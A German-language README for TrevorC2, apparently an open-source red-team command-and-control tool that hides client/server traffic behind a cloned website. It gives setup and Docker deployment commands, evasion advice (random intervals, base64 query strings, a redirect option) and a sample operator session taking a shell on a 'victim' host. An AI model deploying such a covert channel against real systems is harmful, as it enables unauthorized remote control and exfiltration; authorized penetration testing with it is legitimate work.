
TrevorC2 ist eine legitime (durchsuchbare) Website, die Client/Server-Kommunikation für verdeckte Befehlsausführung tunnelt.
Geschrieben von: Dave Kennedy (@HackingDave) Website: https://www.trustedsec.com
Beachten Sie, dass dies eine sehr frühe Veröffentlichung ist - starke Randomisierung und Verschlüsselung werden bald hinzugefügt.
TrevorC2 ist ein Client/Server-Modell zur Tarnung von Command and Control über eine normal durchsuchbare Website. Die Erkennung wird erheblich erschwert, da die Zeitintervalle unterschiedlich sind und keine POST-Anfragen zur Datenexfiltration verwendet werden.
, .'''''. ... ''''', .'
',' ,.MMMM;.;' '.
;; ;MMMMMMMMM; ;;'
:'M: ;MMMMMMMMMMM;. :M':
: M: MMMMMMMMMMMMM: :M .
.' M: MMMMMMMMMMMMM: :M. ;
; :M' :MMMMMMMMMMMM' 'M: :
: :M: .;"MMMMMMMMM":;. ,M: :
: ::,MMM;.M":::M.;MMM ::' :
,.; ;MMMMMM;:MMMMMMMM: :,.
MMM.;.,MMMMMMMM;MMMMMMMM;.,;.MMM
M':''':MMMMMMMMM;MMMMMMMM: "': M
M.: ;MMMMMMMMMMMMMMMMMM; : M
::: MMMMMMMMMMM;MMMMMMMM ::M
,''; MMMMMMMMMMMM:MMMMMMM :'".
,' : MMMMMMMMMMMM:MMMMMMM : '.
' : 'MMMMMMMMMMMMM:MMMMMM ; '
,.....;.. MMMMMMMMMMMMM:MMMMMM ..:....;.
:MMMMMMMM MMMMMMMMMMMMM:MMMMMM MMMMMMMM:
:MM''':"" MMMMMMMMMMMMM:MMMMMM "": "'MM:
MM: : MMMMMMMMMMMMM:MMMMMM ,' :MM
'MM : :MMMMMMMMMMMM:MMMMM: : ;M:
:M; : 'MMMMMMMMMMMMMMMMMM' : ;MM
:MM. : :MMMMMMMMMM;MMMMM: : MM:
:M: : MMMMMMMMM'MMMMMM' : :MM'
'MM : "MMMMMMM:;MMMMM" ,' ;M"
'M : ""''':;;;'''"" : M:
;' : "MMMMMMMM;." : "".
,; : :MMMMMMM:;. : '.
:' : ,MM'''""''':M: : ';
;' : ;M' MM. : ;.
Es gibt zwei Komponenten von TrevorC2 – den Client und den Server. Der Client kann so konfiguriert werden, dass er mit allem verwendet werden kann. In diesem Beispiel ist er in Python codiert, kann aber leicht nach C#, PowerShell oder was auch immer portiert werden. Derzeit unterstützt trevorc2_client.py Windows, macOS und Linux. Sie können die Windows-Version jederzeit bytekompilieren, um eine ausführbare Datei zu erhalten, aber bevorzugt wird die Verwendung von Windows, ohne eine ausführbare Datei als Stager ablegen zu müssen.
Die Funktionsweise des Servers besteht darin, einen Parameter direkt vor dem -Tag zu verstecken. Dies ist vollständig konfigurierbar, und es wird empfohlen, alles einzigartig zu konfigurieren, um der Erkennung zu entgehen. Hier ist der Arbeitsablauf:
1. trevor2_server.py – bearbeiten Sie zuerst die Datei und passen Sie an, welche Website Sie klonen möchten usw. Der Server klont eine Website Ihrer Wahl und startet einen Server. Dieser Server ist für jeden durchsuchbar und sieht aus wie eine legitime Website. Im Quellcode ist ein Parameter enthalten (wieder konfigurierbar), der die Anweisungen für den Client enthält. Sobald ein Client eine Verbindung herstellt, sucht er nach diesem Parameter und verwendet ihn dann, um Befehle auszuführen.
2. trevor2_client.py – alles, was Sie bei jeder konfigurierbaren Option benötigen, ist die Fähigkeit, eine Website aufzurufen, einige grundlegende Daten zu parsen, dann einen Befehl auszuführen und die Ergebnisse in einem base64-kodierten Query-String-Parameter an die Site zu senden. Das ist alles, nicht schwer.
3. trevor2_client.ps1 – PowerShell-Implementierung von trevor2_client.py, die es Ihnen ermöglicht, mit nativer PowerShell mit Trevor2_Server zu interagieren.
pip install -r requirements.txt
Bearbeiten Sie zuerst die trevor2_server.py – ändern Sie die Konfigurationsoptionen und die zu klonende Site.
python trevor2_server.py
Als nächstes bearbeiten Sie die trevor2_client.py oder ps1 – ändern Sie die Konfiguration und das System, mit dem es kommunizieren soll.
python trevor2_client.py or .\trevor2_client.ps1
TrevorC2 unterstützt die Fähigkeit, mehrere Shells von verschiedenen Hostnamen zu verwalten. Die Arbeitsweise von TrevorC2 besteht darin, neue Hostnamen als Sitzungen zu identifizieren. Sie können mit den Sitzungen interagieren, sobald Sie einen Befehl ausführen. Wenn Sie mehrere Sitzungen haben, können Sie einen Befehl eingeben und mit dieser Sitzung basierend auf der global gespeicherten Sitzungsnummer interagieren.
Beim ersten Start von TrevorC2 können Sie help oder ? für weitere Informationen eingeben. Die grundlegende Befehlsnutzung ist "list", das alle aktiven Shells oder keine auflistet, oder "interact <session_id>", um mit der gewünschten Shell zu interagieren.
Sie können jederzeit back/exit innerhalb einer Shell eingeben; sie bleibt weiterhin aktiv und beendet die Shell nicht wirklich.
Beispiel unten:
root@stronghold:/home/relik/Desktop/git/trevorc2# python trevorc2_server.py
TrevorC2 - Legitimate Website Covert Channel
Written by: David Kennedy (@HackingDave)
https://www.trustedsec.com
[*] Cloning website: https://www.google.com
[*] Site cloned successfully.
[*] Starting Trevor C2 Server...
[*] Next, enter the command you want the victim to execute.
[*] Client uses random intervals, this may take a few.
[*] Type help for usage. Example commands, list, interact.
Trevor C2 shell
trevorc2>help
Documented commands (type help <topic>):
========================================
exit help interact list servercmd
trevorc2>help list
Description: Lists all available agents
Usage: list
trevorc2>list
No available Agents. :-(
trevorc2>
*** Received connection from 127.0.0.1 and hostname stronghold with communication sid pSNIRFgTuZnCdHN for TrevorC2.
trevorc2>list
id hostname ip address communication_sessionid
1 stronghold 127.0.0.1 pSNIRFgTuZnCdHN
trevorc2>help interact
Description: Starts an interactive shell with agent
Usage: interact <id>
trevorc2>interact 1
[*] Dropping into trevorc2 shell...
[*] Use exit or back to select other shells
stronghold:trevorc2>ifconfig
[*] Waiting for command to be executed, be patient, results will be displayed here...
[*] Received response back from client...
=-=-=-=-=-=-=-=-=-=-=
(HOSTNAME: stronghold
CLIENT: 127.0.0.1)
ens33 Link encap:Ethernet HWaddr 00:0c:29:63:7c:67
inet addr:172.16.37.132 Bcast:172.16.37.255 Mask:255.255.255.0
inet6 addr: fe80::4b6b:fb52:f109:a7af/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:1400907 errors:0 dropped:0 overruns:0 frame:0
TX packets:2588882 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:835091244 (835.0 MB) TX bytes:2623070556 (2.6 GB)
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:453640 errors:0 dropped:0 overruns:0 frame:0
TX packets:453640 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:211565776 (211.5 MB) TX bytes:211565776 (211.5 MB)
stronghold:trevorc2>back
trevorc2>help servercmd
Description: Run command on the server
Usage: servercmd <command>
Example: servercmd ifconfig
trevorc2>servercmd hostname
PwnServer
trevorc2>exit
[*] Exiting TrevorC2...
Verwendet ein alpines Dockerfile zur Bereitstellung von trevorC2, praktisch für die schnelle Bereitstellung bei Cloud-Anbietern.
Beispiel unten:
git clone https://github.com/trustedsec/trevorc2.git
cd trevorc2
# At this point, setting up docker-machine to remotly deploy works great
docker build -t trevorc2 .
docker run -it -p 80:80 -p 443:443 trevorc2
Es ist wichtig, die in jedem Skript vorhandenen Variablen zu ändern. Insbesondere den SITE_PATH_QUERY und den Verschlüsselungsschlüssel. Ich würde auch empfehlen, sich die REDIRECT-Option anzusehen. Anstatt eine Website zu klonen, haben Sie eine weitere Option, die den Opfer-Host, der möglicherweise die Site durchsucht, zur legitimen Site umleitet. Im Grunde genommen, wenn jemand die Site besucht, wird er einfach zur gewünschten geklonten Site weitergeleitet. Ändern Sie die geklonte Site von Google auf eine andere Site und schalten Sie die Weiterleitung auf EIN.